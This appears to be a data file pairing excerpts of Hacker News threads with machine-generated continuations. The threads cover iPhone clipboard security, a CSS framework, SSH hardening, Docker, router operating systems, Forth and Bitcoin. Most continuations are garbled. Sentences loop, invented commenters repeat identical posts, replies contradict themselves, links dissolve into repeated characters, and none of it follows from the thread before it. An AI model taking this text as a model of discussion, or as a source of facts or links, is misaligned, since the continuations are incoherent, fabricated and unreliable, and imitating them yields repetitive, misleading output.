sama\nhttp://www.engadget.com/2009/03/17/live-from-apples-iphone-os-3-0-preview-event/#continued\n\n======\nryanwaggoner\n_\"Now as I said before, 3.0 brings a lot of new features for devs, but for\ncustomers as well... starting... with cut, copy, and paste.\"_\n\nFreaking finally!\n\n~~~\njgfoot\n> Q: Why did copy paste take so long?\n\n> A: Scott: It's not that easy. There were security issues.\n\nWhat does this mean? Could it be that with the iPhone, letting the user\nextract his own data from the device and sending it elsewhere is a \"security\"\nissue?\n\n~~~\ntptacek\nYou download a game. You play it once. It sucks. Meanwhile, it has stolen your\nmail and phoned it back home to a server in Uzbekistan.\n\n~~~\njonursenbach\nWhat does this have to do with copy and paste?\n\n~~~\ncameldrv\nIf you don't trust the free game you just downloaded, you might not want it to\nbe able to see what's on the clipboard. Some number of people will copy their\npasswords, credit card numbers, etc. If an app phoned home the contents of the\nclipboard every time it ran, eventually it would pick up some private\ninformation.\n\n~~~\ntptacek\nAnd that's assuming that all the"} +{"output_text": " the\nwindow, which is not very useful.\n\n\\- The \"About\" link is not clickable.\n\n\\- The \"Contact\" link is not clickable.\n\n\\- The \"Download\" link is not clickable.\n\n\\- The \"Support\" link is not clickable.\n\n\\- The \"About\" link is not clickable.\n\n\\- The \"Contact\" link is not clickable.\n\n\\- The \"Download\" link is not clickable", "input_text": " native (C) SASS compiler. The first paragraph of the readme tells you as\nmuch.\n\n------\nalixander\nNormally I wouldn't be picky about a web design flaw, but seeing as this is a\nproject aimed at helping web design:\n[http://imgur.com/qqwqiA8](http://imgur.com/qqwqiA8)\n\n~~~\nnsgf\nIt renders fine if you disable Adblock.\n\n~~~\nflippant\nIt looks fine with NoScript too.\n\n------\njakejake\nI might be dense but it took me a bit of hunting to locate the online demo at\n[http://demo.titon.io/](http://demo.titon.io/)\n\nPossibly because on iOS when I scroll to the bottom of the page with a quick\nflick, the site navigation goes kinda wonky and covers some of the page\ncontent.\n\n------\njitl\nHow is this different from Bootstrap or Foundation? Is this just another CSS\nframework? I wish they had a \"what's good about Toolkit\" section describing\nthe advantages of this package over Bootstrap et al.\n\n------\nnerdy\nIn less than two minutes I noticed a few issues. Some examples:\n\n\\- In FF37 the left hand navigation to components overflows into the footer:\n[http://titon.io/en/toolkit/2.1.1/components](http://titon.io/en/toolkit/2.1.1/components)\n\n\\- On the main page toward the bottom where components are listed, the\ntooltips always appear above the element in question, even if the element is\nat the top of the window. This means the tooltip is above the top of"} +{"output_text": "PvhzDqZlaAC&pg=PA68&lpg=PA68&dq=spolsky+compiler+errors&source=bl&ots=l_q_q_q_q&sig=ACfU3U3_0_0q-\n_q_q_q_q_q_q_q_q_q_q_q_q_q_q_q_q_q_q_q_", "input_text": "\n\nBTW, with just 2 lines you can add gandalf and it just works (because there\nare no conflicting methods right now).\n\n \n \n (derive ::gandalf ::wizard)\n (derive ::gandalf ::warrior)\n \n\nIf there were any - you can set preferences to avoid errors.\n\n------\ndbpokorny\nA wild UC Berkeley CS 61A adventure appears!\n\n[https://inst.eecs.berkeley.edu/~cs61a/su13/lab/lab06a/lab06a...](https://inst.eecs.berkeley.edu/~cs61a/su13/lab/lab06a/lab06a.txt)\n\nYou can stick your pseudocode into the \"give\" function:\n[https://inst.eecs.berkeley.edu/~cs61a/sp15/lab/lab10/adventu...](https://inst.eecs.berkeley.edu/~cs61a/sp15/lab/lab10/adventure.py)\n\nI'm not sure it's _explicit_ in the original article, but I tend to agree with\nthe sentiment that it's a _lot_ more fun to learn about interpreters and\ndatabases when you're making games rather than corporate infrastructure\n(although I can't deny that building corporate infrastructure has its moments)\n\nJoel Spolsky talks about using the compiler to catch errors on p. 68 of \"The\nBest Software Writing I\"\n\n[https://books.google.com/books?id=vPvhzDqZlaAC&pg=PA68&lpg=P...](https://books.google.com/books?id=v"} +{"output_text": " and in the text of\nmessages sent via the application.\n\nI've never seen it in the text of messages sent via the application, but I\nhave seen it in the text of messages sent via the application.\n\n------\njoshstrange\nI'm not sure if this is a bug or not but I've seen this in the past and it\nwasn't until I saw the \"Internal Server Error\" that I realized what was\nhappening.\n\nI", "input_text": "\n\nI interpret this as a list of input that you _should_ accept, and it's test-\ndata to verify that the input is correctly handled.\n\nAfter all, I imagine _Linda Callahan_ would be upset if she couldn't use her\nname when registering, especially if she couldn't flip a table in comments\nafterwards. (\u256f\u00b0\u25a1\u00b0\uff09\u256f\ufe35 \u253b\u2501\u253b)\n\n------\nyellowapple\n\"Strings which may cause human to reinterpret worldview\"\n\nHah. Totally filtering for that one now.\n\n------\nTokkemon\nThis is super helpful! Thanks for sharing!\n\n------\npiyush_soni\nCustomary xkcd reference (Exploits of a Mom):\n\n[https://xkcd.com/327/](https://xkcd.com/327/)\n\n~~~\nbtschaegg\nTo add another funny XKCD reference:\n[https://xkcd.com/1137/](https://xkcd.com/1137/)\n\nOn that note, can anyone suggest how one could efficiently test that an RTL\nunicode char doesn't \"infect\" the whole following content of a template?\n\n------\nakjainaj\n>Although this is not a malicious error, and typical users aren't Tweeting\nweird unicode, an \"internal server error\" for unexpected input is never a\npositive experience for the user\n\nWhat would the user expect from inputting \"U+200B ZERO WIDTH SPACE\" into a\nform, anyway?\n\n~~~\nttrmw\nI've observed ZWSes appearing in user input for an application I maintain. It\nappears in text pasted from either Outlook or OWA,"} +{"output_text": "'s one:\n[http://www.linode.com/forums/viewtopic.php?t=1335&sid=a9c9...](http://www.linode.com/forums/viewtopic.php?t=1335&sid=a9c9b7d9c9d9c9d9c9d9c9d9c9d9c9d9c9d9c9d9c9", "input_text": "ING RING\n\ndrudru says: 'hey, good luck with that. gotta go.'\n\n------\nbpatrianakos\nAs we all know security through obscurity only buys you time like the article\npoints out. Please correct me if I'm wrong but a pretty simple solution exists\nhere. I run SSH over port 22 and do the following which I think is a pretty\nreasonable and safe solution (again, please correct me if I'm wrong):\n\n1\\. Configure a decent firewall, edit iptables and disable anything you aren't\nor don't plan to use.\n\n2\\. Disable root login completely.\n\n3\\. Install fail2ban just in case and set it to block IPs of failed attempts\nfor 2 to 24 hours\n\n4\\. Use key based authentication and disable SSH logins using passwords\naltogether.\n\nI'd recommend going a step further on number 4 and put a strong password on\nyour key. A lot of people believe that key based authentication in and of\nitself is enough but if you somehow leak your keys and there's no password on\nthem then an attacker has just easily gained access to your machine. Now I'm\nguilty of not using a password with my keys because like a lot of people it\nfeels like it defeats the purpose but you can actually set things up so that\nyou only need to enter your password once and it won't ask you for it again\nfor a while just like the sudo \"grace period\" which lets you sudo without a\npassword after you've entered it once. I do plan to give my keys a password\nand stop being so lazy in the very near future.\n\nI know the Linode library as well as a few posts that have made it to the\nfront page here explain how to do this. Here"} +{"output_text": " email support, but I'm not\nworried about that.\n\n------\njoshstrange\nI've been using Medium for a few years now and I've never had a problem with\nit. I've had a few issues with the site itself (like the \"I'm sorry, but\nthis page is not available\" page) but I've never had a problem with the\ncontent. I've also never had a problem with the content being hosted on\nMedium.\n", "input_text": " and corruption. Dave has been remarkably consistent in this observation\nover the years.\n\n _\" Well, he did put it on Medium and sent me a link, and I sent back a\ncomment saying that I was worried he'd do that, and unfortunately while I love\nhis post I am reluctant to point to it on Medium. I asked if he'd consider\nputting it somewhere else. He asked where else. Hence the tweet.\"_\n\nOne reason not to put things on medium is the poor url design. Try remembering\nthen typing this url into your browser ~\n[https://medium.com/@davewiner/anywhere-but-\nmedium-5450cb19f2...](https://medium.com/@davewiner/anywhere-but-\nmedium-5450cb19f2c1#.2gv2klp7h)\n\nThe design is ok. We can understand up to the end of the title, _' anywhere-\nbut-medium'_ then we get robot vomit _' 5450cb19f2c1#.2gv2klp7h'_, junk parts\nof the url no use to anyone except machines.\n\n------\nFuturebot\nFor anyone confused about Medium's export feature, it's available under\nSettings->Export Content from the user menu. Worries about platforms not\nproviding this are warranted, but I think Medium already has this covered,\neven if some of the export HTML is messier than some would like.\n\nUntil Medium, I hosted my own blogs on my own web servers (for ~17 years). I\neventually got tired of dealing with updates, comment spam management (even\nwith Akismet and friends), breakin attempts, and all the rest, so I moved\nthere. I'd still like to see friendly URL and"} +{"output_text": " is a lot more difficult than for others.\n\nI think it's a matter of how much you want to learn. If you want to learn\nprogramming, you will learn programming.\n\n------\njoshu\nI think it's a matter of how much you want to learn. If you want to learn\nprogramming, you will learn programming.\n\n------\njoshu\nI think it's a matter of how much you want to learn. If you want to learn", "input_text": " be useful\nto beginners, but that's true of any programming book, and that's easy enough\nto skip over and return to later (especially with the organization of the\ncanonical refactoring book specifically).\n\nA beginning programmer who has learned even the simplest of refactoring\ntechniques (extract method, insert/remove cached value, etc.) will be able to\nlook at a piece of code and see the ways it can be changed, and will also have\na reasonable idea about which changes are more likely to improve the code.\nThey will also have the mental models and vocabulary to talk about, reason\nabout, and understand the code, even if only to themselves. These tools are\nhugely important for beginners. They can transform coding from a task filled\nwith uncertainty, fear, and irregular advancement born from experimentation to\na task filled with confidence, knowledge, and curiosity.\n\nCertainly practice a lot, but don't just blindly stumble about on your own,\nthere's lots of good material out there, learn the techniques and then\npractice applying them, build up your toolkit a bit at a time until you feel\nmore and more comfortable with coding.\n\n------\nrmorrison\nFor what it's worth, it took me several years before I really understood\nprogramming. I distinctly remember thinking that I wasn't making progress, and\nthat I was wasting my time writing silly programs that didn't do anything\nuseful.\n\nHowever, eventually things start to click (though it took me several years).\nYou'll get to a point where things make sense, and you can fathom how you'd go\nabout writing most of the software you use on a daily basis.\n\n------\nsunkencity\nIt took me about 5 minutes to get started writing code.\n\nFor some people programming"} +{"output_text": " systems.\n\nDocker is a new category of virtualization that allows developers to create\ncontainers that can be run on any OS. This means that developers can create\ncontainers that are identical to production environments. This is a huge\nadvantage because it allows developers to create dev/test environments that\nare identical to production environments.\n\nSo what does this mean for you?\n\nIf you are a software company, you can create a Docker image that is identical\nto", "input_text": "\n\nWhat am I missing?\n\n~~~\njustizin\nYou can build a docker image in a vagrant VM on OSX and deploy that exact\ndocker image to production.\n\nIf your vagrant image resembles production, it's probably fine, but there's a\nlevel of confidence to be reached from deploying the exact entire self-\ncontained binary, shipping it through QA and staging, and eventually promoting\nit to production.\n\n~~~\npekk\nThis is also a use case for not developing on OS X, which doesn't have\nanything to do with production anyway.\n\n~~~\nmdaniel\nCan you clarify? Do you mean that one should only develop upon the platform\nthat will be used in production?\n\n~~~\njustizin\nYes, the previous commenter is a purist with no battery life on their laptop.\n\nFurther, if you're in the middle of upgrading your production OS, does this\nmean that you need two developer machines?\n\nC'mon!\n\n------\nosipov\nThere are many ways of using Docker and obviously different companies could\ncome up with their own business cases for adopting the technology. So let me\nfocus on one scenario and we can talk about whether it makes sense for your\nenvironment.\n\nSoftware engineering is often difficult because programmers have to deal with\ninconsistent environments for development and for production execution of\ntheir products. Due to mismatches between these environments, developers often\nfound bugs that surface in one environment but not in another.\n\nHardware based virtualization (VMWare, HyperV, etc) helped with the\ninconsistency issue because it enabled developers to create dev/test\nenvironments that could later be replicated into production. However this\ncategory of virtualization requires more computational resources (esp.\nstorage) than operating"} +{"output_text": "\nthe router.\n\n~~~\nDiabloD3\nI'm not saying Linux is the best OS for this, I'm saying it's not the worst.\n\nI'm also not saying Linux is the best OS for this, I'm saying it's not the\nworst.\n\nI'm also not saying Linux is the best OS for this, I'm saying it's not the\nworst.\n\nI'm also not saying Linux is the best OS for this", "input_text": "------\nAnimats\nNow if they could just get rid of Linux underneath and use something with\nbetter security. L4, maybe. After all, this is for embedded devices which\nbasically run one program.\n\n~~~\nDiabloD3\nI don't know why parent is being downvoted. Linux probably isn't the best OS\nfor this, a microkernel OS or something based on BSD seems to be far saner,\nespecially since we _don 't_ need weird hardware support, all home routers use\nthe same three or four families of MIPS and ARM SoCs.\n\n~~~\nwtallis\nHome routers come with one of three instruction set families (MIPS, ARM,\nPowerPC) with CPUs or SoCs from at least six major manufacturers (Broadcom,\nQualcomm-Atheros, Ralink/MediaTek, Marvell, Freescale/NXP, Realtek) and WiFi\ninterfaces from any of them except Freescale but plus Quantenna. And there are\nmultiple generations of hardware in the market at any one time. That adds up\nto a hardware ecosystem that is vastly more diverse than PCs; this is in no\nway a narrow scope of problem. And I'm ignoring all the devices that also have\na cable, DSL, or cellular modem.\n\nThe boundaries of what tasks are handled by the CPU vs by dedicated offloads\non the SoC vs by the NIC (which usually has software of its own) differs with\nevery manufacturer and every hardware generation. The job we want our routers\nto do is a moving target as the industry continues to develop new routing and\nconfiguration protocols (eg. Homenet) and new QoS techniques and new WiFi rate\ncontrol techniques that need to be incorporated into the software running on"} +{"output_text": " the immune system and the body's ability to\nrecover from illness.\n\n~~~\ntrashtester\nI don't know about that. I've read that sleep deprivation is associated with\nincreased risk of infection.\n\n~~~\nNasrudith\nI don't know if that is true but it is a known effect.\n\n------\njedberg\nI've been in the hospital for a week now. I've been in the hospital for a\nmonth.", "input_text": "'s a bit like the soldier checking if there is a bullet in the chamber when\npicking up a gun. Even if you experience a gun that goes off by acciden only\nonce, it becomes really easy to understand the thousands of times the soldier\nwill do this when he knows there is no bullet there.\n\n~~~\nflippyhead\nThis is interesting and not something I'd considered. I wonder though if\nthey've got the balance right. These protocols were developed no doubt before\nit was really understood how incredibly dangerous poor sleep is to our health\nmost especially during recovery from illness.\n\n~~~\ntrashtester\nIts a mix of protocols, procedures, habits and personal biases, as are most\nsuch things in most workplaces.\n\nBut most of all, I think it is an attention thing. For the staff, a patient\nbeing sleep depraved for a couple nights is very low on their list of\nconcerns. They see people die almost every day.\n\nFor the patient, the emphasis is different, especially for the ones that are\nthere for minor issues.\n\nMedically, a few nights with reduced sleep quality is unlikely to make a big\ndifference.\n\nNow, if it goes on for weeks or months, that is another matter. Still, more\npeople are probably seriously injured or die from bedsores sleep depravation.\nNot to mention those that die from fall injuries caused by trying to walk to\nthe bathroom unassisted. (The latter is the most frequent case of preventable\nfatal injuries aquired in most hospitals, at least in my country)\n\nFrom my point of view, most complaints about loss of sleep in hospital are in\nthe same category as complaining about the food. 1st world problems.\n\n~~~\nNasrudith\nExcept sleep is important to"} +{"output_text": " is and what it should be.\n\nI think the best we can hope for is that we can get to a point where we can\nhave a conversation about these issues and that we can have a conversation\nabout them in a way that is not so overwhelming and so complex that we can't\neven begin to have a conversation about them.\n\n~~~\nmatt4077\nI think you're right, but I think the problem is that we're not even having\nthe conversation", "input_text": "\noverwhelmingly impossible it is for everyone to confront the same realizations\nin order for us to course-correct and avoid what increasingly feels like an\ninevitable disaster.\n\nNeil Postman was both somewhat deterministic in his beliefs about our future\nand then reluctantly optimistic when pushed. In an interview he jokingly\nqualified his optimistic statement with \"but remember I'm an American which\nmeans I'm eternally optimistic\". I think he was also very struck with this\nfeeling, that it is all so clear what is happening yet the dance continues and\nto warn people, to educate, to improve things in a systemic way that'd be\nsufficient enough in capacity to combat these omnipresent machinations is so\noverwhelmingly difficult and complex that one feels a bit hopeless.\n\nIn that same interview he said \"..to the extent that there would be a serious\nconversation among Americans about these issues I think we could pull\nthrough.\" (Link to end of interview:\n[https://youtu.be/FRabb6_Gr2Y?t=27m](https://youtu.be/FRabb6_Gr2Y?t=27m))\n\nBecause this problem is so complex and deeply-entrenched in so many facets of\nour existence whatever course-correction can be made will have to be the\nresult of a phenomenon which I'd describe as very much \"emergent\". And that\nphenomenon will be an amalgamation of shifts in thought and behavior spanning\nall facets of culture and society. You could say \"organic movement\" but I am\nnot even so hopeful as to think one or a few \"organic\" movements would\nsuffice. I believe the shift would have to be systemic but also cultural, only\na shift in our beliefs- in what our culture"} +{"output_text": " are fixed, you can start looking for a new job.\n\n------\njoshu\nI'm not sure what you mean by \"I don't know what I want to do\".\n\nIf you don't know what you want to do, you don't know what you don't want to\ndo.\n\nIf you don't know what you want to do, you don't know what you don't want to\ndo.\n\nIf you don't know what you", "input_text": "www.youtube.com/watch?v=0CDXJ6bMkMY](https://www.youtube.com/watch?v=0CDXJ6bMkMY)\n\n[http://www.startupsfortherestofus.com/archives](http://www.startupsfortherestofus.com/archives)\n\nI think patio11 should be your first go to on this. He should have lots of\nrelevant advice.\n\nGood luck, take care of yourself.\n\n------\ncodingdave\n> I haven't really managed to do anything (the same problem I had when I was\n> working for other companies).\n\nI've seen this same pattern in the software industry repeat itself many times,\nat all levels. People are not hitting the level of success they want, and\nthink that doing their own company will solve all the problems. But it\ndoesn't. As you have found, the reasons your career stagnates will normally\nalso cause struggles when you are the boss. Instead, I recommend that you\nfirst learn to be productive in any environment, for any boss. Then you need\nto start finding better bosses and environments. And finally decide if you,\npersonally, are the best boss for yourself. This is a process that take time,\neffort, and lots of honest self-evaluation. But you'll be a more successful\nand happier person for it.\n\nI don't know your details, but it sounds like your next step on that path\nwould be to get somewhere that you are comfortable and happy outside of work,\nso you have more energy to reflect on why you struggle at work. Find a\nmentor/coach to help you figure out why you are not productive, and fix those\nproblems. Once those"} +{"output_text": " \"we're going to change the world\" kind of\nexaggerations.\n\nI'm not saying that the press is evil, but I do think that the press is\ngenerally not very good at what it does.\n\n~~~\nmattmanser\nI've had a few interviews with the press, and I've never had a problem with\nthem.\n\nI've had a few interviews with the press, and I've never had a problem with\nthem.\n", "input_text": "um in Kampala, where they interviewed a guy\nliving in the slum who's job it was to clean out the public toilets there. He\nclaimed it was one of the 'best jobs', because he was paid on time, given a\nuniform/gloves to wear instead of having to buy one himself, set his own\nhours, and the labor was not back breaking agricultural labor in the open sun\nall day. He also remarked he was able to contribute to his community in a\npositive way by keeping it clean, something all the other residents rewarded\nhim for with various tips as thanks for his service since they had to use\nthose toilets everyday. Wasn't the response I expected.\n\n~~~\nishjoh\nThat's very interesting, I don't suppose you know the name of the documentary?\n\nI wonder if the biggest reason he didn't hate his job was the gratitude from\nother people. One of my first jobs was stocking shelves on the graveyard shift\nat a grocery store, and the 1 hour or so before the store closed I would\noccasionally help shoppers find things, help take heavy things to their car,\nor help them reach items high on the shelf. A sincere thank you always made\nthe 7h of mind numbing stocking go a lot faster.\n\n------\nm0zg\nI (and people I directly worked with) have been interviewed a couple of times\nby what one would call \"mainstream press\". Once by a NY Times columnist and\nanother time by TechCrunch.\n\nThe resulting articles bore very little semblance to what we said, omitted\ncrucial facts, and contained the kinds of exaggerations that neither I nor any\nof the people interviewed would ever make. I'm talking \"breaking the laws of\nphysics\" kind of exaggerations, and"} +{"output_text": " labor for the US?\n\n~~~\nmnm1\nI don't think so. The US has a huge amount of people who are unemployed and\nunable to find work. The US has a huge amount of people who are homeless and\nunable to find work. The US has a huge amount of people who are in prison and\nunable to find work. The US has a huge amount of people who are in the\nmilitary and unable to find work. The US has", "input_text": "4y)\n\n~~~\nanigbrowl\nDon't confuse authority with organization.\n\n------\npermadefroster\nPoorly constructed dwellings got lots of people killed during the 2010\nearthquake. It might be bad news to see recovery take shape as structures\nbuilt without paying attention to safety codes.\n\n[https://en.wikipedia.org/wiki/2010_Haiti_earthquake](https://en.wikipedia.org/wiki/2010_Haiti_earthquake)\n\n~~~\nmnm1\nI'd rather take the risk of dying inside a poorly constructed dwelling in an\nearthquake than the countless risks of being homeless, and I'm sure most\nHaitians and people in general would too. Brings up the question of whether\nsafety codes and other such nonsense even have a place when the alternative is\nhomelessness. Clearly the US seems to think so, but I certainly wouldn't\nfollow our lead on this issue considering how poorly we've dealt with our own\nhomeless problem while keeping vast quantities of real estate empty or not\neven built.\n\n~~~\ndinkumthinkum\nSafety code nonsense? Surely you jest? You cite homelessness as an argument\nagainst safety codes? Sure, we all want to decimate the scourge of\nhomelessness but do you have a sense of how small a percentage of the US is\nactually homeless? You would have us give up on safety codes for.... what? A\nshanty for everyone?\n\n------\nerentz\nThis kind of looks like just another continuation of the man made ecological\ndisaster in Haiti. But in lieu of real solutions, people are going to do what\nthey need to.\n\n------\nswampthinker\nWould Haiti be a good source of"} +{"output_text": " school kids\nlearning to program?\n\n~~~\npjmlp\nI am not sure what you mean by \"classic hacker lore\", but I am sure that\nthere are plenty of people from both kinds of backgrounds in all kinds of\ncommunities.\n\nI am not sure what you mean by \"high school kids learning to program\", but\nsurely there are plenty of people from both kinds of backgrounds in all kinds\nof communities.\n\n~~~\nsteve", "input_text": " improved by improving a dependency (I wonder how a\nfunction that checks if a number is negative can be improved...).\n\nAs far as I know there is no other toolchain on this planet where it's done\nthis way, which together with the clarification above should be telling you\nand sindresorhus something!\n\n~~~\ndozzie\n> As far as I know there is no other toolchain on this planet where it's done\n> this way [...]\n\nIf by \"this way\" you mean microdependencies in JavaScript, you should also\nlook at Ruby, which goes in a similar direction. And at Python, which\napparently tries to follow the lead.\n\n~~~\npjmlp\nSomehow I see a common theme there...\n\n~~~\nworkusername\nYes, let's dig into it.\n\n~~~\npjmlp\nFrom my point of view, all dynamic languages usually used by people without CS\nbackground.\n\n~~~\nsteveklabnik\nMy first five years after getting my CS degree, all of my paid work was in\nlanguages with dynamic typing.\n\n~~~\npjmlp\nSome people apparently took my comment personally, but it doesn't change the\nfact that many in those communities aren't from a CS background.\n\nWhich is why some decisions, like the whole npm modules, or the ruby gems\nbefore bundles (if I get it right), get to be taken without consideration how\nit works in large scale.\n\nOf course people with CS background also use dynamic languages. I have Python,\nSmalltalk, Lisp, Perl, JavaScript on my CV.\n\n~~~\nsteveklabnik\nThere are lots of people from both kinds of backgrounds in all kinds of\ncommunities; how much of classic hacker lore is about high"} +{"output_text": ", that's fine. But if\nyou want to build a permanent base on Mars, you need to know what you're\ndoing.\n\n~~~\njessriedel\n> We just don't know how to live on other worlds. We are almost completely\n> ignorant of the complexities involved in the process and have a whole bunch\n> of unpleasant discoveries to make yet. That's not to say it can't be done\n> and that we don't know what should happen in", "input_text": "'s work on sustained outposts on a\nworld no more than three days' travel away first._\n\nIf the only thing to be gained from the moon is a stepping stone to Mars, then\nit's a waste of time. The environmental challenges are just about all\ndifferent, so it's not even a good rehearsal. That's more like \"Learn to swim\nbefore you run. Let's work on movement while partially buoyant, not subject to\na full G, first.\"\n\nI'm sure you could train babies to swim-crawl-walk. But if you want to walk,\nit's an unnecessary detour.\n\n~~~\ntom_rath\nI'd like to believe in Zubrin's plan more than anyone (I still have a well-\nhighlighted copy of his \"Mars Direct - Humans to the Red Planet by 1999\" Acta\nAstronautica paper amongst my many cabinets of the stuff) but that plan is\nbuilt on assumption.\n\n \n \n >However, we can't even construct a reliable artificial\n >biosphere fully enclosed here on Earth!\n \n Where do you get that from?\n \n\nFrom the fact that no one has done it yet. Ever.\n\nWe just don't know how to live on other worlds. We are almost completely\nignorant of the complexities involved in the process and have a whole bunch of\nunpleasant discoveries to make yet. That's not to say it _can't_ be done and\nthat we don't know what should happen in theory, but we have never done it\nbefore. Ever. There is no experience to build upon.\n\nIf you want another flags and footprints mission to plant a candelabra of\npennants on Mars and then scurry back after a few days"} +{"output_text": " not sure what you mean by this. I'm not sure what you mean by 'most of the\nwebsites'.\n\n> Developers are always looking for shinning things. And in the end you end up\n> with really complex architecture.\n\nI'm not sure what you mean by this.\n\n> I'm just saying that in 95% of the cases. You don't need those tools. But\n> only simple \"old techs\" that are battle tested", "input_text": " bit of\nvanilla JS, and progressively enhances the site.\n\n> Things were done simple, no need to reinvent everything each time :)\n\nThings are there for a reason, why not just go to the 70s/80s where there was\nno networking, servers, or bloated JS?\n\n~~~\nedhelas\n> Gatsby is a static website generator that makes bunch of static HTML leaves\n> a bit of vanilla JS, and progressively enhances the site.\n\nThat was exactly my point. We are currently seeing the whole thing looping :)\n\n> Things are there for a reason, why not just go to the 70s/80s where there\n> was no networking, servers, or bloated JS?\n\nReact/Angular/Vue can be used for very specific use cases indeed and can be\nreally powerful tools. But lets face it, for most of the websites, you don't\nneed those tools. It's even worst most of the time regarding browser\nperformances, accessibility, SEO, navigation.\n\nDevelopers are always looking for shinning things. And in the end you end up\nwith really complex architecture.\n\nI'm just saying that in 95% of the cases. You don't need those tools. But only\nsimple \"old techs\" that are battle tested and works flawlessly.\n\n~~~\npcr910303\n> That was exactly my point. We are currently seeing the whole thing looping.\n\nIf Gatsby is exactly the format you like, what's the problem? The fact that it\nuses React as a dependency? Because... it uses 'npm', the worst package\nmanager of all history?\n\n> But let's face it, for most of the websites, you don't need those tools.\n\nI'm"} +{"output_text": ". I also think it is\nimportant to learn about the history of computing and the evolution of\nprogramming languages.\n\n~~~\njoe_the_user\nI think you're right about Forth being orders of magnitude faster than\nassembler.\n\nI think you're wrong about Forth being orders of magnitude faster than C.\n\nI think you're wrong about Forth being orders of magnitude faster than C.\n\nI think you're wrong about Forth being", "input_text": "\nTe key argument behind this thread centered around my assertion that Forth can\nbe orders of magnitude faster than assembler. That means 10, 100, 1000 --or\nmore-- times faster to code a solution in Forth than in assembler.\n\nI haven't done a any serious work in Forth in about ten years, so coming up\nwith an example for this thread would have consumed time I simply don't have\nright now.\n\nThe reality is that ANY language is orders of magnitude faster than assembler.\nThe idea that this assertion is being challenged at all is, well, surprising.\n\nI happen to be working on a project that, among other things, makes extensive\nuse of nested state machines. The main state machine has 72 states and some of\nthe children FSM's have up to a dozen states. Writing this in C it takes mere\nminutes to lay down a bug free structure for the execution of the entire FSM\nset. It should go without saying that doing the same in assembler would take\nfar longer and result in a mess of code that would be difficult to maintain.\n\nAssembler has its place. I have written device drivers, disk controllers,\nmotor controllers, fast FIR filters, pulse/frequency/phase measurement and a\nmyriad of other routines across a number of processors all in assembler. These\ndays I'd venture to say the vast majority of embedded systems are done in C.\nCoding is faster, far more maintainable and embedded optimizing compilers do\nan excellent job of producing good, tight and fast machine code. As much as I\nlove and enjoy Forth this is one of the reasons I rarely use it these days.\n\nI still think it is important to learn about TIL's as it adds a layer of\nthinking outside the box one would not otherwise have"} +{"output_text": " think about\nwhether you want to be a part of that.\n\n~~~\ncyang08\nI think it's a good point. I'm not sure how many people on the list had\nprivate college paid for by their upper middle class (if not better parents).\n\n------\njoshu\nI'm not sure I agree with the premise.\n\nI dropped out of college to start a company. I'm not sure I would have done\nthat if I had known", "input_text": " not having a ball ;-)\nHopefully in the 3rd year, once I get to pick electives I will enjoy it much\nmore.\n\n------\ngjulianm\nAbout the numerical argument, that's not a good argument. The fact that 92,5%\nof the people on the Forbes 30 Under 30 for Tech list did not drop out is\nmeaningless by itself. Why?\n\nImagine that 92,5% of all population had degrees. Or even better: that 99% of\nall population had degrees.\n\nIt'd be more meaningful if you added the percentage of the population with\ndegrees, the % of people without degrees who created failed startups...\n\nBut, anyways, I don't think that having/not having a degree is a fundamental\nfactor in the success of your startup. Maybe you're already good enough to go\nforward. Maybe your idea is so great it compensates your lack of technical\nknowledge. Frankly, I think that dropping college to do a startup is neither a\ngood or bad idea. It depends on you, your circumstances and the startup\nitself.\n\n------\ncyang08\nHi all. What sparked this post was the release of this year's Forbes 30 Under\n30 for Tech. Turns out almost everyone on the list (92.5%, check article for\nmore stats) did NOT drop out, so thought the numbers + anecdotal + personal\nexperience would make a good case for sticking to school.\n\n~~~\npitt1980\nwant to guesstimate how many people on the Forbes 30 for 30 list had private\ncollege paid for by their upper middle class (if not better parents)?\n\nI think it makes sense to think seriously about the restrictions taking on\neducation debt will place on your life in the future, and to"} +{"output_text": "rible_ for this purpose, because\nit's a broadcast medium.\n\n~~~\npas\nI don't think it's naive, I think it's a natural consequence of the\narchitecture of the Internet.\n\nI think it's a natural consequence of the architecture of the Internet that\nthe Internet is a _decentralized_ network, and that the Internet is a\n_decentralized_ network, and that the Internet is a _decentralized_ network,\n", "input_text": "\ndoing even more filtering. Given that crypto is now computationally\ninexpensive, this seems straightforward with anything that is not already in\nIP/TCP/UDP headers.\n\n~~~\npas\nIt lines up, I just wanted to point out that there needs to be no malicious\nexploitative intent, this kind of network state degradation naturally follows\nfrom the always ongoing optimization of resource allocation by actors involved\nin the process. And thus there is a natural priority of features when it comes\nto network equipment design, development, production, testing, marketing,\nsupport and eventual replacement.\n\nAnd yes, crypto helps with enforcing the layers, it forces engineers to move\nto a different part of the solution space when it comes to doing things that\nused to be done with DPI/snooping/etc. (A lot of the meddleboxes were sort of\nrational responses, like a MITM caching proxy, DNS hijacking, captive portals,\nblablabla. And they were quick and dirty.)\n\n~~~\nmindslight\nI stand by the characterization of \"exploitative\". The point of protocols is\nto mediate between parties with _diverging_ interests. The parties deploying\nmeddle boxes are rationally trying to further their own interests, but they\nare doing so by stepping over the delineating line. In 2019, the idea that\nneighborly courtesy would preserve the line was obviously naive. Now we need\nto build concrete walls.\n\nAnd lest you think that my viewpoint is completely at odds with network\nadministrators - elsewhere I've argued that raw unrestricted IP access will\neventually come to be seen as a bug. Surveillance companies backhaul much of\ntheir collect unhindered precisely because \"Internet access\" is given as an\nall-or-nothing condition. IP is actually _hor"} +{"output_text": "-guy-earned-the-opportunity-to-co-found-a-tech-startup/\n\n======\njasonshen\nI'm the author of this article. I'm a serial entrepreneur who has founded and\nsold a few companies. I'm also a software engineer who has worked on a few\nstartups.\n\nI've been working on a new startup for the past few months. I'm the CTO and\nco-founder.\n\n", "input_text": " be used to buy lunch (and\nother such small transactions). The cost of decentralization is too high, and\nwe have no way to decrease those costs by the orders of magnitude needed to\nhandle the transactional loads of things like buying lunch. We are working to\ndecrease them, and have recently succeeded in a modest improvement on the\nBitcoin network, but orders of magnitude is... out of reach without some\nmassive innovation.\n\nIt's more likely that on-top-of networks like Lightning Network and its\nevolutions built on top of Bitcoin will be the thing people interact with on a\ndaily basis.\n\nThe average person will get their paycheck in Bitcoin, but do their daily\ntransactions using IOU networks like Lightning that settle behind the scenes\non a less frequent basis. This allows the average person to use Bitcoin as\ntheir store of value, giving them by default the advantages that traditionally\nonly a small fraction of the population have had, but still allowing cheap\ndaily transactions for buying lunch.\n\nThat doesn't change the meaning of the article. But it's important to mention\nhow Bitcoin is evolving to fulfill the future the article proposes.\n\nSo... maybe that's the future. Or maybe a side chain will evolve with\ninflationary properties and we just use that to buy lunch and get paid. Maybe\nevery country will have their own cryptocurrency, pseudo-centrally controlled,\nwith atomic 